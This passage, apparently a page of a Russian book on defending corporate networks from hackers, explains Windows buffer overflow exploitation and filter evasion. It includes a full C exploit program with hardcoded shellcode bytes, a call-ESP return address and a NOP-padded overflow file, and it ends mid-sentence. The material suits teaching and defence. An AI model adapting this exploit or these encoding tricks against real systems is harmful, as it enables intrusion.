Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΊΠ½ΠΈΠ³ΠΈ ΠΎΠ½Π»Π°ΠΉΠ½ Π½Π° Bookidrom.ru! БСсплатныС ΠΊΠ½ΠΈΠ³ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΊΠ»ΠΈΠΊΠ΅

Π§ΠΈΡ‚Π°Ρ‚ΡŒ ΠΎΠ½Π»Π°ΠΉΠ½ Β«Π—Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ Ρ…Π°ΠΊΠ΅Ρ€ΠΎΠ² ΠΊΠΎΡ€ΠΏΠΎΡ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ… сСтСй». Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° 69

Автор ΠšΠΎΠ»Π»Π΅ΠΊΡ‚ΠΈΠ² Π°Π²Ρ‚ΠΎΡ€ΠΎΠ²

LoadLibraryA(β€œUser32”);

MessageBox(NULL, β€œhi”, NULL, MB_OK);

ExitProcess(1);

Для прСобразования ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π½Π° языкС C Π² ΠΊΠΎΠ΄ ассСмблСра Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ встроСнным ассСмблСром компилятора Visual C, Π° Π·Π°Ρ‚Π΅ΠΌ пСрСнСсСм Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ трансляции Π² Π±ΡƒΡ„Π΅Ρ€ BYTE.

ВмСсто Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² этом мСстС привСсти ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ассСмблСра, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠ΅, Ссли Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŒ просмотрит ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ пСрСполнСния Π±ΡƒΡ„Π΅Ρ€Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ создаСтся Ρ„Π°ΠΉΠ», инициализируСтся Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»Π΅ΠΌ Π±ΡƒΡ„Π΅Ρ€, опрСдСляСтся Ρ‚ΠΎΡ‡ΠΊΠ° ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°, Π² Π±ΡƒΡ„Π΅Ρ€ записываСтся ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, Π±ΡƒΡ„Π΅Ρ€ выгруТаСтся Π² Ρ„Π°ΠΉΠ».

ΠŸΡ€ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠΈ ΠΏΠ΅Ρ€Π΅Π΄ записью ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π² Ρ„Π°ΠΉΠ» ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ. Для этого слСдуСт ΡƒΠ±Ρ€Π°Ρ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ Π² части ΠΊΠΎΠ΄Π°, ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ тСст. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ вмСсто записи Π΅Π³ΠΎ Π² Ρ„Π°ΠΉΠ».

ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Π°Ρ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π±Ρ‹Π»Π° написана ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ программирования основных ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ пСрСполнСния Π±ΡƒΡ„Π΅Ρ€Π°. Π’ Π½Π΅ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ символичСскими константами адрСса ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, поэтому ΠΎΠ½Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° систСмС, нСсовмСстимой с Win2k sp2.

ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° проста ΠΈ нСпСрСносима. Для Π΅Π΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ… слСдуСт Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ значСния символичСских констант, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… макросами #define, Π½Π° ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ адрСса ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. АдрСса ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ·Π½Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚ Visual Studio depends.exe ΠΈΠ»ΠΈ dumpbin.exe.

Изюминка ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² нСстандартном использовании ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ call. НСстандартноС ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ call позволяСт Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π² стСк адрСс строки символов, располоТСнной слСдом Π·Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ call. Π­Ρ‚ΠΎ позволяСт Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄, Π½ΠΎ ΠΈ Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ знания адрСса Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈΠ»ΠΈ смСщСний Π² ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰Π΅ΠΌ ΠΊΠΎΠ΄Π΅.

Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΊΠΎΠΌΠ°Π½Π΄Π° call записываСт Π² стСк адрСс ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π·Π° Π½Π΅ΠΉ строки, полагая, Ρ‡Ρ‚ΠΎ записываСт адрСс ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π° ΠΏΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ ret. Аналогичный ΠΏΡ€ΠΈΠ΅ΠΌ Π±Ρ‹Π» использован Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ пСрСполнСния Π±ΡƒΡ„Π΅Ρ€Π° для Linux.

Для Π±Π΅Π·ΠΎΡˆΠΈΠ±ΠΎΡ‡Π½ΠΎΠΉ трансляции ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ компилятором Visual Studio ΠΏΡ€ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ строки символов Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ трСбуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρƒ _emit.

#include <Windows.h>

/*

Example NT Exploit

Ryan Permeh, [email protected]

*/

int main(int argc,char **argv)

{

#define MBOX 0x77E375D5

#define LL 0x77E8A254

#define EP 0x77E98F94

DWORD EIP=0x77E8250A; // a pointer to a

//call ESP in KERNEL32.dll

//found with findoffset.c

BYTE writeme[65]; //mass overflow holder

BYTE code[49] ={

0xE8, 0x07, 0x00, 0x00, 0x00, 0x55,

0x53, 0x45, 0x52, 0x33, 0x32, 0x00,

0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF,

0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8,

0x03, 0x00, 0x00, 0x00, 0x48, 0x49,

0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75,

0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01,

0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF,

0xD0

};

HANDLE file;

DWORD written;

/*

__asm

{

call tag1 ; jump over(trick push)

_emit 0x55 ; β€œUSER32”,0x00

_emit 0x53

_emit 0x45

_emit 0x52

_emit 0x33

_emit 0x32

_emit 0x00

tag1:

// LoadLibrary(β€œUSER32”);

mov EAX, LL ;put the LoadLibraryA

address in EAX

call EAX ;call LoadLibraryA

push 0 ;push MBOX_OK(4th arg to mbox)

push 0 ;push NULL(3rd arg to mbox)

call tag2 ; jump over(trick push)

_emit 0x48 ; β€œHI”,0x00

_emit 0x49

_emit 0x00

tag2:

push 0 ;push NULL(1st arg to mbox)

// MessageBox (NULL, β€œhi”, NULL, MB_OK);

mov EAX, MBOX ;put the MessageBox

address in EAX

call EAX ;Call MessageBox

push 1 ;push 1 (only arg

to exit)

// ExitProcess(1);

mov EAX, EP ; put the

ExitProcess address in EAX

call EAX ;call ExitProcess

}

*/

/*

char *i=code; //simple test code pointer

//this is to test the code

__asm

{

mov EAX, i

call EAX

}

*/

/* Our overflow string looks like this:

[0x90*12][EIP][code]

The 0x90(nop)’s overwrite the buffer, and the saved EBP on

the stack, and then EIP replaces the saved EIP on the stack.

The saved EIP is replaced with a jump address that points to

a call ESP. When call ESP executes, it executes our code

waiting in ESP.*/

memset(writeme,0x90,65); //set my local string to nops

memcpy(writeme+12,&EIP,4); //overwrite EIP here

memcpy(writeme+16,code,49); // copy the code into our

temp buf

//open the file

file=CreateFile(β€œbadfile”,GENERIC_WRITE,0,NULL,

OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

//write our shellcode to the file

WriteFile(file,writeme,65,&written,NULL);

CloseHandle(file);

//we’re done

return 1;

}

Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ способы пСрСполнСния Π±ΡƒΡ„Π΅Ρ€Π°

ПослС изучСния ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌΠ° ΠΏΡ€ΠΈΡˆΠ»ΠΎ врСмя ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с соврСмСнными способами пСрСполнСния Π±ΡƒΡ„Π΅Ρ€Π°. Одни ΠΈΠ· Π½ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹ повсСмСстно, Π΄Ρ€ΡƒΠ³ΠΈΠ΅ – Π² частных случаях. Π‘ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΡƒΠ·Π½Π°ΡŽΡ‚ ΠΎ ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ Π±ΡƒΡ„Π΅Ρ€Π° всС большС, поэтому сСгодня для ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ Π°Ρ‚Π°ΠΊ пСрСполнСния Π±ΡƒΡ„Π΅Ρ€Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΡ‰Ρ€Π΅Π½Π½Ρ‹Π΅ способы извлСчСния ΠΈΠ· Π½Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·Ρ‹.

Π€ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡ Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…

Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ программисты, ΡΡ‚Ρ€Π΅ΠΌΡΡΡŒ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ Π°Ρ‚Π°ΠΊ пСрСполнСния Π±ΡƒΡ„Π΅Ρ€Π°, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄ записью Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π² Π±ΡƒΡ„Π΅Ρ€ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚, Π½Π΅Ρ‚ Π»ΠΈ Π² Π½ΠΈΡ… выполняСмого ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. ΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎ Π·Π°Ρ‚Ρ€ΡƒΠ΄Π½ΡΡŽΡ‚ Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°, Π½Π΅ позволяя Π΅ΠΌΡƒ запросто ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ΅ нСприятности сулят Π½ΡƒΠ»Π΅Π²Ρ‹Π΅ Π±Π°ΠΉΡ‚Ρ‹ Π² Π±ΡƒΡ„Π΅Ρ€Π΅, поэтому соврСмСнныС программисты Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ записываСмых Π² Π±ΡƒΡ„Π΅Ρ€ Π΄Π°Π½Π½Ρ‹Ρ….

Бпособов Π°Π½Π°Π»ΠΈΠ·Π° бСзопасности Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ½ΠΎΠ³ΠΎ, ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… ΠΏΠΎ-своСму прСпятствуСт ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ Π±ΡƒΡ„Π΅Ρ€Π°.

НапримСр, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ программисты ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ значСния Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Если оТидаСтся Π²Π²ΠΎΠ΄ чисСл, Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅Π΄ записью Π² Π±ΡƒΡ„Π΅Ρ€ провСряСтся, являСтся Π»ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ числом. Π’ стандартной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅ языка C Π΅ΡΡ‚ΡŒ нСсколько Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… для ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ Win32. Для Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π² 16-Π±ΠΈΡ‚Π½ΠΎΠΌ стандартС кодирования символов Unicode ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Β«ΡˆΠΈΡ€ΠΎΠΊΠΈΡ…Β» символов.

int isalnum( int c ); checks if it is in A-Z,a-z,0-9

int isalpha( int c ); checks if it is in A-Z,a-z

int __isascii( int c ); checks if it is in 0x00-0x7f

int isdigit( int c ); checks if it is in 0-9

isxdigit( int c ); checks if it is in 0-9, A-F

ΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ… Π‘ для UNIX.

Π₯ΠΎΡ€ΠΎΡˆΠ°Ρ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° пСрСполнСния Π±ΡƒΡ„Π΅Ρ€Π° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€Π΅ΠΎΠ΄ΠΎΠ»Π΅Π²Π°Ρ‚ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡŽ Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Для этого ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ кодирования Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΠΎΠ±ΠΌΠ°Π½ΡƒΡ‚ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡŽ.

Π‘Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ исслСдований Π² области создания ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, состоящСго ΠΈΠ· Π°Π»Ρ„Π°Π²ΠΈΡ‚Π½ΠΎ-Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… символов ΠΈ ΠΌΠ»Π°Π΄ΡˆΠΈΡ… символов ΠΊΠΎΠ΄Π° ASCII. ΠŸΡ€ΠΈ возмоТности Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ этим способом Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй исслСдования ΡƒΠ²Π΅Π½Ρ‡Π°Π»ΠΈΡΡŒ успСхом. Π’ частности, Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ способ кодирования ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΏΠΎ стандартам MIME (MIME – Π½Π°Π±ΠΎΡ€ стандартов для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ посрСдством элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹) ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ XOR, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠΉ Π½Π°Π΄ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π±Π°ΠΉΡ‚. ΠŸΡ€ΠΈΠΌΠ΅Π½ΡΠ΅ΠΌΠ°Ρ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ° позволяСт ΠΌΠ°ΡΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ‚Ρ€Π°Π½Π½ΡƒΡŽ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π±Π°ΠΉΡ‚ΠΎΠ² ΠΏΠΎΠ΄ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈΠ· ASCII-символов.

Π”Ρ€ΡƒΠ³ΠΎΠΉ способ прСодолСния ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. НапримСр, присвоив ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ окруТСния ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ сСссии Π΄Π²ΠΎΠΈΡ‡Π½ΡƒΡŽ строку ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ число Π±Π°ΠΉΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΡΡ‚ΡŒ условиям ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….

ЧастичноС ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π±ΡƒΡ„Π΅Ρ€Π° ΠΈ искаТСниС Π΄Π°Π½Π½Ρ‹Ρ…

Π’ послСднСС врСмя Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ»ΠΎΡΡŒ число программистов, Π½Π°Ρ‡Π°Π²ΡˆΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ строковыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с ограничСниями, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ strncpy() вмСсто strcpy(). Π­Ρ‚ΠΈΡ… программистов Π½Π°ΡƒΡ‡ΠΈΠ»ΠΈ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с ограничСниями Π·Π°Ρ‰ΠΈΡ‰Π°ΡŽΡ‚ ΠΎΡ‚ пСрСполнСния Π±ΡƒΡ„Π΅Ρ€Π°. Как ΠΆΠ΅ ΠΎΠ½ΠΈ удивятся, ΠΊΠΎΠ³Π΄Π° ΡƒΠ·Π½Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ 